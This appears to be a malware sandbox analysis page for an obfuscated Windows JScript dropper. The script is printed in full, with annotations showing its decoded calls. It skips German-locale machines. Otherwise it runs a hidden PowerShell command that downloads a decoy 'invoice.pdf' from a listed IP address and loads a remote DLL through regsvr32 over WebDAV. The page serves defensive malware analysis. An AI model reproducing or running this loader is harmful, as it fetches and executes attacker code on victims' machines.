Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ssftv() {	ssftv() ➔ undefined
1	bmujsxdbm = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var shoxmxt = this[vmcitl + ybikdjp + krawtzh + ykozgmki + xmzogoo + njcnklyu + wigfmu + iqcmfqwuh] ( this[gweddrmt + teejmom + bouohmpur + krawtzh + sjhmdrhkx + vmcitl + iqcmfqwuh][gkxtyyobo + krawtzh + xmzogoo + ybikdjp + iqcmfqwuh + xmzogoo + arfko + uxffazya + nwbhav + xmzogoo + bouohmpur + iqcmfqwuh] ( gweddrmt + teejmom + bouohmpur + krawtzh + sjhmdrhkx + vmcitl + iqcmfqwuh + vcjmzicye + teejmom + gkxtsqno + xmzogoo + dnggnny + dnggnny ) [kdrtpxf + xmzogoo + vwffxfpr + kdrtpxf + xmzogoo + ybikdjp + llrljlm] ( phein + wnlxx + rstpzm + jravdq + febkopmz + gkxtyyobo + goovps + kdrtpxf + kdrtpxf + rstpzm + vsuid + eyvnndd + febkopmz + goovps + teejmom + rstpzm + kdrtpxf + ysjglli + gkxtyyobo + bujxgkiq + wigfmu + iqcmfqwuh + krawtzh + bujxgkiq + dnggnny + bpyecv + iokdb + ybikdjp + wigfmu + xmzogoo + dnggnny + ysjglli + njcnklyu + wigfmu + iqcmfqwuh + xmzogoo + krawtzh + wigfmu + ybikdjp + iqcmfqwuh + sjhmdrhkx + bujxgkiq + wigfmu + ybikdjp + dnggnny + ysjglli + utzitys + bujxgkiq + bouohmpur + ybikdjp + dnggnny + xmzogoo ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( mnggtaxjr = 0 ; mnggtaxjr < bmujsxdbm[dnggnny + xmzogoo + wigfmu + vwffxfpr + iqcmfqwuh + gkxtsqno] ; ++ mnggtaxjr )
4	{
5	if ( shoxmxt == bmujsxdbm[mnggtaxjr] )
6	{
7	shoxmxt = true;
8	break ;
9	}
10	}
11	if ( shoxmxt !== true )
12	this[gweddrmt + teejmom + bouohmpur + krawtzh + sjhmdrhkx + vmcitl + iqcmfqwuh][njowfma + dzsmebnc + sjhmdrhkx + iqcmfqwuh] ( );
13	this[gweddrmt + teejmom + bouohmpur + krawtzh + sjhmdrhkx + vmcitl + iqcmfqwuh][gkxtyyobo + krawtzh + xmzogoo + ybikdjp + iqcmfqwuh + xmzogoo + arfko + uxffazya + nwbhav + xmzogoo + bouohmpur + iqcmfqwuh] ( gweddrmt + teejmom + bouohmpur + krawtzh + sjhmdrhkx + vmcitl + iqcmfqwuh + vcjmzicye + teejmom + gkxtsqno + xmzogoo + dnggnny + dnggnny ) [krawtzh + dzsmebnc + wigfmu] ( bouohmpur + lkckkj + llrljlm + bpyecv + pyeqm + bouohmpur + bpyecv + vmcitl + bujxgkiq + nqicxadyf + xmzogoo + krawtzh + ykozgmki + gkxtsqno + xmzogoo + dnggnny + dnggnny + vcjmzicye + xmzogoo + puidhy + xmzogoo + bpyecv + yurvgcp + gkxtyyobo + bujxgkiq + lkckkj + lkckkj + ybikdjp + wigfmu + llrljlm + bpyecv + sbwbl + njcnklyu + wigfmu + adhnc + bujxgkiq + wdide + xmzogoo + yurvgcp + gweddrmt + xmzogoo + uxffazya + kdrtpxf + xmzogoo + fchmp + dzsmebnc + xmzogoo + ykozgmki + iqcmfqwuh + bpyecv + yurvgcp + arfko + dzsmebnc + iqcmfqwuh + caslb + sjhmdrhkx + dnggnny + xmzogoo + bpyecv + plffvmjc + iqcmfqwuh + xmzogoo + lkckkj + vmcitl + plffvmjc + ysjglli + sjhmdrhkx + wigfmu + adhnc + bujxgkiq + sjhmdrhkx + bouohmpur + xmzogoo + vcjmzicye + vmcitl + llrljlm + eoziov + bpyecv + gkxtsqno + iqcmfqwuh + iqcmfqwuh + vmcitl + avgxuwcs + pyeqm + pyeqm + jhigg + xrmbna + eaftbasg + vcjmzicye + jhigg + fopag + eaftbasg + vcjmzicye + jhigg + vcjmzicye + rszfriydf + ucglumzb + vgbqfbezm + pyeqm + sjhmdrhkx + wigfmu + adhnc + bujxgkiq + sjhmdrhkx + bouohmpur + xmzogoo + vcjmzicye + vmcitl + gkxtsqno + vmcitl + sbwbl + ibsfn + ibsfn + ykozgmki + iqcmfqwuh + ybikdjp + krawtzh + iqcmfqwuh + bpyecv + plffvmjc + iqcmfqwuh + xmzogoo + lkckkj + vmcitl + plffvmjc + ysjglli + sjhmdrhkx + wigfmu + adhnc + bujxgkiq + sjhmdrhkx + bouohmpur + xmzogoo + vcjmzicye + vmcitl + llrljlm + eoziov + ibsfn + ibsfn + bouohmpur + lkckkj + llrljlm + bpyecv + pyeqm + bouohmpur + bpyecv + wigfmu + xmzogoo + iqcmfqwuh + bpyecv + dzsmebnc + ykozgmki + xmzogoo + bpyecv + ysjglli + ysjglli + jhigg + xrmbna + eaftbasg + vcjmzicye + jhigg + fopag + eaftbasg + vcjmzicye + jhigg + vcjmzicye + rszfriydf + ucglumzb + vgbqfbezm + bidlrc + elgcisr + elgcisr + elgcisr + elgcisr + ysjglli + llrljlm + ybikdjp + adhnc + nqicxadyf + nqicxadyf + nqicxadyf + krawtzh + bujxgkiq + bujxgkiq + iqcmfqwuh + ysjglli + ibsfn + ibsfn + bouohmpur + lkckkj + llrljlm + bpyecv + pyeqm + bouohmpur + bpyecv + krawtzh + xmzogoo + vwffxfpr + ykozgmki + adhnc + krawtzh + eaftbasg + rszfriydf + bpyecv + pyeqm + ykozgmki + bpyecv + ysjglli + ysjglli + jhigg + xrmbna + eaftbasg + vcjmzicye + jhigg + fopag + eaftbasg + vcjmzicye + jhigg + vcjmzicye + rszfriydf + ucglumzb + vgbqfbezm + bidlrc + elgcisr + elgcisr + elgcisr + elgcisr + ysjglli + llrljlm + ybikdjp + adhnc + nqicxadyf + nqicxadyf + nqicxadyf + krawtzh + bujxgkiq + bujxgkiq + iqcmfqwuh + ysjglli + sfgcv + fopag + ucglumzb + xrmbna + rszfriydf + asmzpnkuu + eaftbasg + elgcisr + xrmbna + rszfriydf + eaftbasg + asmzpnkuu + eaftbasg + sfgcv + vcjmzicye + llrljlm + dnggnny + dnggnny, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll",0,false) ➔ 0
14	}
15	vmcitl = "h";
16	vmcitl = "d";
17	vmcitl = "K";
18	vmcitl = "e";
19	vmcitl = "O";
20	vmcitl = "K";
21	vmcitl = "p";
22	wigfmu = "n";
23	goovps = "B";
24	goovps = "T";
25	goovps = "u";
26	goovps = "Y";
27	goovps = "u";
28	goovps = "N";
29	goovps = "t";
30	goovps = "A";
31	goovps = "H";
32	goovps = "U";
33	goovps = "T";
34	goovps = "n";
35	goovps = "u";
36	goovps = "p";
37	goovps = "U";
38	goovps = "w";
39	goovps = "Z";
40	goovps = "k";
41	goovps = "U";
42	iqcmfqwuh = "c";
43	iqcmfqwuh = "t";
44	iqcmfqwuh = "P";
45	iqcmfqwuh = "X";
46	iqcmfqwuh = "t";
47	iqcmfqwuh = "R";
48	iqcmfqwuh = "A";
49	iqcmfqwuh = "C";
50	iqcmfqwuh = "V";
51	iqcmfqwuh = "I";
52	iqcmfqwuh = "L";
53	iqcmfqwuh = "K";
54	iqcmfqwuh = "i";
55	iqcmfqwuh = "o";
56	iqcmfqwuh = "A";
57	iqcmfqwuh = "n";
58	iqcmfqwuh = "f";
59	iqcmfqwuh = "h";
60	iqcmfqwuh = "o";
61	iqcmfqwuh = "P";
62	iqcmfqwuh = "G";
63	iqcmfqwuh = "a";
64	iqcmfqwuh = "J";
65	iqcmfqwuh = "i";
66	iqcmfqwuh = "a";
67	iqcmfqwuh = "t";
68	ysjglli = "e";
69	ysjglli = "j";
70	ysjglli = "d";
71	ysjglli = "a";
72	ysjglli = "F";
73	ysjglli = "\\";
74	jhigg = "T";
75	jhigg = "V";
76	jhigg = "g";
77	jhigg = "H";
78	jhigg = "i";
79	jhigg = "M";
80	jhigg = "E";
81	jhigg = "C";
82	jhigg = "S";
83	jhigg = "e";
84	jhigg = "M";
85	jhigg = "Y";
86	jhigg = "g";
87	jhigg = "L";
88	jhigg = "t";
89	jhigg = "J";
90	jhigg = "z";
91	jhigg = "t";
92	jhigg = "A";
93	jhigg = "Z";
94	jhigg = "A";
95	jhigg = "N";
96	jhigg = "i";
97	jhigg = "h";
98	jhigg = "b";
99	jhigg = "M";
100	jhigg = "o";
101	jhigg = "h";
102	jhigg = "D";
103	jhigg = "f";
104	jhigg = "C";
105	jhigg = "w";
106	jhigg = "P";
107	jhigg = "X";
108	jhigg = "m";
109	jhigg = "a";
110	jhigg = "N";
111	jhigg = "l";
112	jhigg = "R";
113	jhigg = "M";
114	jhigg = "m";
115	jhigg = "S";
116	jhigg = "1";
117	xrmbna = "k";
118	xrmbna = "v";
119	xrmbna = "q";
120	xrmbna = "D";
121	xrmbna = "j";
122	xrmbna = "s";
123	xrmbna = "M";
124	xrmbna = "A";
125	xrmbna = "T";
126	xrmbna = "d";
127	xrmbna = "U";
128	xrmbna = "Q";
129	xrmbna = "r";
130	xrmbna = "V";
131	xrmbna = "Q";
132	xrmbna = "c";
133	xrmbna = "J";
134	xrmbna = "y";
135	xrmbna = "g";
136	xrmbna = "J";
137	xrmbna = "U";
138	xrmbna = "A";
139	xrmbna = "9";
140	teejmom = "C";
141	teejmom = "E";
142	teejmom = "W";
143	teejmom = "G";
144	teejmom = "D";
145	teejmom = "J";
146	teejmom = "R";
147	teejmom = "D";
148	teejmom = "E";
149	teejmom = "I";
150	teejmom = "e";
151	teejmom = "h";
152	teejmom = "v";
153	teejmom = "w";
154	teejmom = "T";
155	teejmom = "Y";
156	teejmom = "m";
157	teejmom = "G";
158	teejmom = "s";
159	teejmom = "w";
160	teejmom = "o";
161	teejmom = "W";
162	teejmom = "N";
163	teejmom = "M";
164	teejmom = "J";
165	teejmom = "s";
166	teejmom = "M";
167	teejmom = "R";
168	teejmom = "S";
169	plffvmjc = "K";
170	plffvmjc = "r";
171	plffvmjc = "T";
172	plffvmjc = "z";
173	plffvmjc = "F";
174	plffvmjc = "g";
175	plffvmjc = "h";
176	plffvmjc = "k";
177	plffvmjc = "r";
178	plffvmjc = "h";
179	plffvmjc = "m";
180	plffvmjc = "S";
181	plffvmjc = "j";
182	plffvmjc = "a";
183	plffvmjc = "P";
184	plffvmjc = "U";
185	plffvmjc = "f";
186	plffvmjc = "g";
187	plffvmjc = "O";
188	plffvmjc = "%";
189	xmzogoo = "B";
190	xmzogoo = "O";
191	xmzogoo = "r";
192	xmzogoo = "g";
193	xmzogoo = "W";
194	xmzogoo = "n";
195	xmzogoo = "c";
196	xmzogoo = "T";
197	xmzogoo = "y";
198	xmzogoo = "u";
199	xmzogoo = "l";
200	xmzogoo = "b";
201	xmzogoo = "B";
202	xmzogoo = "t";
203	xmzogoo = "Z";
204	xmzogoo = "e";
205	vsuid = "O";
206	vsuid = "b";
207	vsuid = "w";
208	vsuid = "P";
209	vsuid = "b";
210	vsuid = "r";
211	vsuid = "W";
212	vsuid = "C";
213	vsuid = "O";
214	vsuid = "u";
215	vsuid = "K";
216	vsuid = "n";
217	vsuid = "f";
218	vsuid = "Y";
219	vsuid = "k";
220	vsuid = "H";
221	vsuid = "v";
222	vsuid = "u";
223	vsuid = "f";
224	vsuid = "F";
225	vsuid = "s";
226	vsuid = "F";
227	vsuid = "w";
228	vsuid = "o";
229	vsuid = "W";
230	vsuid = "T";
231	vsuid = "p";
232	vsuid = "c";
233	vsuid = "e";
234	vsuid = "b";
235	vsuid = "i";
236	vsuid = "X";
237	vsuid = "Z";
238	vsuid = "y";
239	vsuid = "G";
240	vsuid = "f";
241	vsuid = "o";
242	vsuid = "D";
243	vsuid = "J";
244	vsuid = "S";
245	vsuid = "e";
246	vsuid = "w";
247	vsuid = "h";
248	vsuid = "R";
249	vsuid = "N";
250	llrljlm = "v";
251	llrljlm = "E";
252	llrljlm = "w";
253	llrljlm = "W";
254	llrljlm = "l";
255	llrljlm = "O";
256	llrljlm = "Z";
257	llrljlm = "C";
258	llrljlm = "k";
259	llrljlm = "A";
260	llrljlm = "S";
261	llrljlm = "u";
262	llrljlm = "v";
263	llrljlm = "Y";
264	llrljlm = "E";
265	llrljlm = "o";
266	llrljlm = "x";
267	llrljlm = "b";
268	llrljlm = "y";
269	llrljlm = "V";
270	llrljlm = "f";
271	llrljlm = "V";
272	llrljlm = "F";
273	llrljlm = "F";
274	llrljlm = "d";
275	bujxgkiq = "m";
276	bujxgkiq = "G";
277	bujxgkiq = "p";
278	bujxgkiq = "v";
279	bujxgkiq = "i";
280	bujxgkiq = "o";
281	bidlrc = "m";
282	bidlrc = "j";
283	bidlrc = "E";
284	bidlrc = "P";
285	bidlrc = "j";
286	bidlrc = "V";
287	bidlrc = "x";
288	bidlrc = "F";
289	bidlrc = "Z";
290	bidlrc = "w";
291	bidlrc = "Q";
292	bidlrc = "I";
293	bidlrc = "G";
294	bidlrc = "D";
295	bidlrc = "B";
296	bidlrc = "A";
297	bidlrc = "Q";
298	bidlrc = "h";
299	bidlrc = "n";
300	bidlrc = "E";
301	bidlrc = "i";
302	bidlrc = "S";
303	bidlrc = "R";
304	bidlrc = "u";
305	bidlrc = "R";
306	bidlrc = "Y";
307	bidlrc = "B";
308	bidlrc = "a";
309	bidlrc = "P";
310	bidlrc = "w";
311	bidlrc = "R";
312	bidlrc = "@";
313	asmzpnkuu = "i";
314	asmzpnkuu = "d";
315	asmzpnkuu = "7";
316	gkxtyyobo = "q";
317	gkxtyyobo = "c";
318	gkxtyyobo = "r";
319	gkxtyyobo = "m";
320	gkxtyyobo = "K";
321	gkxtyyobo = "t";
322	gkxtyyobo = "N";
323	gkxtyyobo = "V";
324	gkxtyyobo = "j";
325	gkxtyyobo = "r";
326	gkxtyyobo = "Y";
327	gkxtyyobo = "v";
328	gkxtyyobo = "q";
329	gkxtyyobo = "n";
330	gkxtyyobo = "P";
331	gkxtyyobo = "o";
332	gkxtyyobo = "h";
333	gkxtyyobo = "C";
334	nqicxadyf = "E";
335	nqicxadyf = "w";
336	avgxuwcs = "A";
337	avgxuwcs = "j";
338	avgxuwcs = "V";
339	avgxuwcs = "q";
340	avgxuwcs = "r";
341	avgxuwcs = "T";
342	avgxuwcs = "m";
343	avgxuwcs = "F";
344	avgxuwcs = ":";
345	njowfma = "B";
346	njowfma = "N";
347	njowfma = "Y";
348	njowfma = "T";
349	njowfma = "v";
350	njowfma = "K";
351	njowfma = "J";
352	njowfma = "H";
353	njowfma = "M";
354	njowfma = "d";
355	njowfma = "Q";
356	elgcisr = "K";
357	elgcisr = "R";
358	elgcisr = "j";
359	elgcisr = "8";
360	phein = "C";
361	phein = "t";
362	phein = "b";
363	phein = "c";
364	phein = "z";
365	phein = "x";
366	phein = "P";
367	phein = "i";
368	phein = "o";
369	phein = "o";
370	phein = "Y";
371	phein = "f";
372	phein = "t";
373	phein = "a";
374	phein = "A";
375	phein = "g";
376	phein = "m";
377	phein = "h";
378	phein = "d";
379	phein = "B";
380	phein = "T";
381	phein = "i";
382	phein = "D";
383	phein = "h";
384	phein = "r";
385	phein = "Z";
386	phein = "D";
387	phein = "r";
388	phein = "q";
389	phein = "v";
390	phein = "p";
391	phein = "J";
392	phein = "f";
393	phein = "X";
394	phein = "h";
395	phein = "R";
396	phein = "d";
397	phein = "N";
398	phein = "u";
399	phein = "h";
400	phein = "H";
401	ucglumzb = "E";
402	ucglumzb = "N";
403	ucglumzb = "r";
404	ucglumzb = "E";
405	ucglumzb = "z";
406	ucglumzb = "S";
407	ucglumzb = "F";
408	ucglumzb = "M";
409	ucglumzb = "Y";
410	ucglumzb = "R";
411	ucglumzb = "e";
412	ucglumzb = "M";
413	ucglumzb = "f";
414	ucglumzb = "N";
415	ucglumzb = "h";
416	ucglumzb = "a";
417	ucglumzb = "v";
418	ucglumzb = "m";
419	ucglumzb = "P";
420	ucglumzb = "C";
421	ucglumzb = "y";
422	ucglumzb = "I";
423	ucglumzb = "j";
424	ucglumzb = "F";
425	ucglumzb = "u";
426	ucglumzb = "q";
427	ucglumzb = "v";
428	ucglumzb = "k";
429	ucglumzb = "g";
430	ucglumzb = "p";
431	ucglumzb = "u";
432	ucglumzb = "n";
433	ucglumzb = "d";
434	ucglumzb = "P";
435	ucglumzb = "R";
436	ucglumzb = "h";
437	ucglumzb = "i";
438	ucglumzb = "t";
439	ucglumzb = "0";
440	wdide = "w";
441	wdide = "X";
442	wdide = "l";
443	wdide = "q";
444	wdide = "V";
445	wdide = "o";
446	wdide = "M";
447	wdide = "Z";
448	wdide = "L";
449	wdide = "I";
450	wdide = "X";
451	wdide = "S";
452	wdide = "j";
453	wdide = "R";
454	wdide = "l";
455	wdide = "q";
456	wdide = "W";
457	wdide = "y";
458	wdide = "f";
459	wdide = "Q";
460	wdide = "Q";
461	wdide = "k";
462	njcnklyu = "u";
463	njcnklyu = "Z";
464	njcnklyu = "M";
465	njcnklyu = "E";
466	njcnklyu = "y";
467	njcnklyu = "N";
468	njcnklyu = "I";
469	caslb = "A";
470	caslb = "R";
471	caslb = "R";
472	caslb = "P";
473	caslb = "h";
474	caslb = "Q";
475	caslb = "n";
476	caslb = "z";
477	caslb = "h";
478	caslb = "T";
479	caslb = "A";
480	caslb = "O";
481	caslb = "P";
482	caslb = "Q";
483	caslb = "p";
484	caslb = "n";
485	caslb = "i";
486	caslb = "s";
487	caslb = "a";
488	caslb = "b";
489	caslb = "h";
490	caslb = "V";
491	caslb = "H";
492	caslb = "q";
493	caslb = "X";
494	caslb = "t";
495	caslb = "c";
496	caslb = "r";
497	caslb = "y";
498	caslb = "i";
499	caslb = "t";
500	caslb = "V";
501	caslb = "x";
502	caslb = "B";
503	caslb = "W";
504	caslb = "J";
505	caslb = "d";
506	caslb = "R";
507	caslb = "m";
508	caslb = "Z";
509	caslb = "v";
510	caslb = "F";
511	ibsfn = "X";
512	ibsfn = "i";
513	ibsfn = "g";
514	ibsfn = "F";
515	ibsfn = "N";
516	ibsfn = "g";
517	ibsfn = "I";
518	ibsfn = "t";
519	ibsfn = "h";
520	ibsfn = "q";
521	ibsfn = "m";
522	ibsfn = "A";
523	ibsfn = "v";
524	ibsfn = "F";
525	ibsfn = "s";
526	ibsfn = "b";
527	ibsfn = "W";
528	ibsfn = "n";
529	ibsfn = "i";
530	ibsfn = "J";
531	ibsfn = "i";
532	ibsfn = "L";
533	ibsfn = "d";
534	ibsfn = "t";
535	ibsfn = "t";
536	ibsfn = "p";
537	ibsfn = "g";
538	ibsfn = "D";
539	ibsfn = "Q";
540	ibsfn = "n";
541	ibsfn = "V";
542	ibsfn = "H";
543	ibsfn = "F";
544	ibsfn = "t";
545	ibsfn = "f";
546	ibsfn = "&";
547	bouohmpur = "H";
548	bouohmpur = "H";
549	bouohmpur = "u";
550	bouohmpur = "B";
551	bouohmpur = "u";
552	bouohmpur = "X";
553	bouohmpur = "p";
554	bouohmpur = "w";
555	bouohmpur = "c";
556	bouohmpur = "J";
557	bouohmpur = "k";
558	bouohmpur = "H";
559	bouohmpur = "u";
560	bouohmpur = "X";
561	bouohmpur = "c";
562	ybikdjp = "r";
563	ybikdjp = "b";
564	ybikdjp = "X";
565	ybikdjp = "r";
566	ybikdjp = "v";
567	ybikdjp = "w";
568	ybikdjp = "r";
569	ybikdjp = "V";
570	ybikdjp = "c";
571	ybikdjp = "Z";
572	ybikdjp = "j";
573	ybikdjp = "J";
574	ybikdjp = "z";
575	ybikdjp = "y";
576	ybikdjp = "r";
577	ybikdjp = "C";
578	ybikdjp = "u";
579	ybikdjp = "h";
580	ybikdjp = "K";
581	ybikdjp = "A";
582	ybikdjp = "i";
583	ybikdjp = "o";
584	ybikdjp = "a";
585	vcjmzicye = "d";
586	vcjmzicye = "h";
587	vcjmzicye = "f";
588	vcjmzicye = "G";
589	vcjmzicye = "z";
590	vcjmzicye = "N";
591	vcjmzicye = "D";
592	vcjmzicye = "G";
593	vcjmzicye = "q";
594	vcjmzicye = "e";
595	vcjmzicye = "F";
596	vcjmzicye = "h";
597	vcjmzicye = "G";
598	vcjmzicye = "D";
599	vcjmzicye = "I";
600	vcjmzicye = ".";
601	jravdq = "W";
602	jravdq = "l";
603	jravdq = "d";
604	jravdq = "K";
605	jravdq = "b";
606	jravdq = "O";
607	jravdq = "y";
608	jravdq = "g";
609	jravdq = "L";
610	jravdq = "l";
611	jravdq = "j";
612	jravdq = "I";
613	jravdq = "E";
614	jravdq = "L";
615	jravdq = "V";
616	jravdq = "U";
617	jravdq = "X";
618	jravdq = "G";
619	jravdq = "a";
620	jravdq = "d";
621	jravdq = "j";
622	jravdq = "y";
623	jravdq = "s";
624	jravdq = "L";
625	jravdq = "X";
626	jravdq = "i";
627	jravdq = "m";
628	jravdq = "y";
629	jravdq = "z";
630	jravdq = "o";
631	jravdq = "n";
632	jravdq = "W";
633	jravdq = "F";
634	jravdq = "y";
635	jravdq = "g";
636	jravdq = "i";
637	jravdq = "I";
638	jravdq = "Y";
639	bpyecv = "y";
640	bpyecv = "q";
641	bpyecv = "u";
642	bpyecv = "A";
643	bpyecv = "R";
644	bpyecv = "V";
645	bpyecv = "r";
646	bpyecv = "c";
647	bpyecv = "o";
648	bpyecv = "H";
649	bpyecv = "N";
650	bpyecv = "y";
651	bpyecv = "f";
652	bpyecv = "Z";
653	bpyecv = "D";
654	bpyecv = "l";
655	bpyecv = "f";
656	bpyecv = "N";
657	bpyecv = "D";
658	bpyecv = "g";
659	bpyecv = "S";
660	bpyecv = "F";
661	bpyecv = "p";
662	bpyecv = "M";
663	bpyecv = "i";
664	bpyecv = "w";
665	bpyecv = "s";
666	bpyecv = "N";
667	bpyecv = "b";
668	bpyecv = "q";
669	bpyecv = "H";
670	bpyecv = "b";
671	bpyecv = "Y";
672	bpyecv = "B";
673	bpyecv = " ";
674	yurvgcp = "F";
675	yurvgcp = "G";
676	yurvgcp = "I";
677	yurvgcp = "V";
678	yurvgcp = "u";
679	yurvgcp = "S";
680	yurvgcp = "d";
681	yurvgcp = "q";
682	yurvgcp = "S";
683	yurvgcp = "v";
684	yurvgcp = "n";
685	yurvgcp = "f";
686	yurvgcp = "u";
687	yurvgcp = "b";
688	yurvgcp = "F";
689	yurvgcp = "G";
690	yurvgcp = "r";
691	yurvgcp = "U";
692	yurvgcp = "-";
693	ykozgmki = "F";
694	ykozgmki = "S";
695	ykozgmki = "P";
696	ykozgmki = "v";
697	ykozgmki = "a";
698	ykozgmki = "n";
699	ykozgmki = "W";
700	ykozgmki = "O";
701	ykozgmki = "U";
702	ykozgmki = "h";
703	ykozgmki = "z";
704	ykozgmki = "b";
705	ykozgmki = "Z";
706	ykozgmki = "F";
707	ykozgmki = "v";
708	ykozgmki = "T";
709	ykozgmki = "s";
710	eaftbasg = "s";
711	eaftbasg = "M";
712	eaftbasg = "b";
713	eaftbasg = "E";
714	eaftbasg = "Z";
715	eaftbasg = "g";
716	eaftbasg = "k";
717	eaftbasg = "D";
718	eaftbasg = "q";
719	eaftbasg = "3";
720	puidhy = "a";
721	puidhy = "l";
722	puidhy = "l";
723	puidhy = "Q";
724	puidhy = "o";
725	puidhy = "i";
726	puidhy = "j";
727	puidhy = "m";
728	puidhy = "a";
729	puidhy = "k";
730	puidhy = "a";
731	puidhy = "k";
732	puidhy = "a";
733	puidhy = "m";
734	puidhy = "e";
735	puidhy = "R";
736	puidhy = "C";
737	puidhy = "M";
738	puidhy = "M";
739	puidhy = "l";
740	puidhy = "i";
741	puidhy = "F";
742	puidhy = "c";
743	puidhy = "c";
744	puidhy = "P";
745	puidhy = "j";
746	puidhy = "x";
747	dnggnny = "M";
748	dnggnny = "U";
749	dnggnny = "z";
750	dnggnny = "z";
751	dnggnny = "B";
752	dnggnny = "V";
753	dnggnny = "y";
754	dnggnny = "P";
755	dnggnny = "b";
756	dnggnny = "D";
757	dnggnny = "W";
758	dnggnny = "O";
759	dnggnny = "Y";
760	dnggnny = "v";
761	dnggnny = "c";
762	dnggnny = "M";
763	dnggnny = "V";
764	dnggnny = "z";
765	dnggnny = "m";
766	dnggnny = "b";
767	dnggnny = "W";
768	dnggnny = "s";
769	dnggnny = "U";
770	dnggnny = "F";
771	dnggnny = "C";
772	dnggnny = "N";
773	dnggnny = "Y";
774	dnggnny = "Q";
775	dnggnny = "h";
776	dnggnny = "J";
777	dnggnny = "T";
778	dnggnny = "p";
779	dnggnny = "k";
780	dnggnny = "W";
781	dnggnny = "f";
782	dnggnny = "u";
783	dnggnny = "P";
784	dnggnny = "b";
785	dnggnny = "F";
786	dnggnny = "l";
787	vgbqfbezm = "Q";
788	vgbqfbezm = "X";
789	vgbqfbezm = "c";
790	vgbqfbezm = "N";
791	vgbqfbezm = "Y";
792	vgbqfbezm = "P";
793	vgbqfbezm = "f";
794	vgbqfbezm = "o";
795	vgbqfbezm = "n";
796	vgbqfbezm = "y";
797	vgbqfbezm = "A";
798	vgbqfbezm = "j";
799	vgbqfbezm = "v";
800	vgbqfbezm = "k";
801	vgbqfbezm = "g";
802	vgbqfbezm = "c";
803	vgbqfbezm = "j";
804	vgbqfbezm = "U";
805	vgbqfbezm = "p";
806	vgbqfbezm = "I";
807	vgbqfbezm = "r";
808	vgbqfbezm = "r";
809	vgbqfbezm = "t";
810	vgbqfbezm = "u";
811	vgbqfbezm = "T";
812	vgbqfbezm = "Q";
813	vgbqfbezm = "a";
814	vgbqfbezm = "i";
815	vgbqfbezm = "D";
816	vgbqfbezm = "Y";
817	vgbqfbezm = "i";
818	vgbqfbezm = "i";
819	vgbqfbezm = "c";
820	vgbqfbezm = "X";
821	vgbqfbezm = "U";
822	vgbqfbezm = "L";
823	vgbqfbezm = "5";
824	utzitys = "r";
825	utzitys = "D";
826	utzitys = "k";
827	utzitys = "u";
828	utzitys = "q";
829	utzitys = "x";
830	utzitys = "w";
831	utzitys = "U";
832	utzitys = "V";
833	utzitys = "E";
834	utzitys = "y";
835	utzitys = "U";
836	utzitys = "N";
837	utzitys = "t";
838	utzitys = "X";
839	utzitys = "V";
840	utzitys = "G";
841	utzitys = "n";
842	utzitys = "Q";
843	utzitys = "d";
844	utzitys = "d";
845	utzitys = "l";
846	utzitys = "x";
847	utzitys = "Q";
848	utzitys = "q";
849	utzitys = "O";
850	utzitys = "S";
851	utzitys = "h";
852	utzitys = "B";
853	utzitys = "I";
854	utzitys = "L";
855	utzitys = "D";
856	utzitys = "P";
857	utzitys = "V";
858	utzitys = "f";
859	utzitys = "D";
860	utzitys = "L";
861	gkxtsqno = "J";
862	gkxtsqno = "F";
863	gkxtsqno = "L";
864	gkxtsqno = "i";
865	gkxtsqno = "U";
866	gkxtsqno = "S";
867	gkxtsqno = "w";
868	gkxtsqno = "h";
869	pyeqm = "P";
870	pyeqm = "v";
871	pyeqm = "o";
872	pyeqm = "y";
873	pyeqm = "K";
874	pyeqm = "y";
875	pyeqm = "y";
876	pyeqm = "L";
877	pyeqm = "K";
878	pyeqm = "Z";
879	pyeqm = "p";
880	pyeqm = "I";
881	pyeqm = "t";
882	pyeqm = "P";
883	pyeqm = "i";
884	pyeqm = "e";
885	pyeqm = "/";
886	sbwbl = "v";
887	sbwbl = "G";
888	sbwbl = "v";
889	sbwbl = "r";
890	sbwbl = "I";
891	sbwbl = "x";
892	sbwbl = "L";
893	sbwbl = "S";
894	sbwbl = "m";
895	sbwbl = "m";
896	sbwbl = "T";
897	sbwbl = "b";
898	sbwbl = "s";
899	sbwbl = "o";
900	sbwbl = "i";
901	sbwbl = "I";
902	sbwbl = "t";
903	sbwbl = "O";
904	sbwbl = "g";
905	sbwbl = "y";
906	sbwbl = "Q";
907	sbwbl = "l";
908	sbwbl = "g";
909	sbwbl = "i";
910	sbwbl = "o";
911	sbwbl = "G";
912	sbwbl = "F";
913	sbwbl = "y";
914	sbwbl = "f";
915	sbwbl = "b";
916	sbwbl = "f";
917	sbwbl = "Z";
918	sbwbl = "P";
919	sbwbl = "e";
920	sbwbl = "f";
921	sbwbl = "n";
922	sbwbl = "K";
923	sbwbl = "H";
924	sbwbl = "k";
925	sbwbl = "\"";
926	kdrtpxf = "m";
927	kdrtpxf = "M";
928	kdrtpxf = "m";
929	kdrtpxf = "Y";
930	kdrtpxf = "B";
931	kdrtpxf = "A";
932	kdrtpxf = "H";
933	kdrtpxf = "p";
934	kdrtpxf = "e";
935	kdrtpxf = "x";
936	kdrtpxf = "m";
937	kdrtpxf = "f";
938	kdrtpxf = "f";
939	kdrtpxf = "x";
940	kdrtpxf = "b";
941	kdrtpxf = "a";
942	kdrtpxf = "p";
943	kdrtpxf = "r";
944	kdrtpxf = "T";
945	kdrtpxf = "M";
946	kdrtpxf = "S";
947	kdrtpxf = "l";
948	kdrtpxf = "t";
949	kdrtpxf = "i";
950	kdrtpxf = "c";
951	kdrtpxf = "o";
952	kdrtpxf = "R";
953	iokdb = "s";
954	iokdb = "f";
955	iokdb = "r";
956	iokdb = "y";
957	iokdb = "W";
958	iokdb = "Z";
959	iokdb = "l";
960	iokdb = "a";
961	iokdb = "Z";
962	iokdb = "y";
963	iokdb = "w";
964	iokdb = "a";
965	iokdb = "F";
966	iokdb = "o";
967	iokdb = "W";
968	iokdb = "g";
969	iokdb = "f";
970	iokdb = "p";
971	iokdb = "a";
972	iokdb = "X";
973	iokdb = "z";
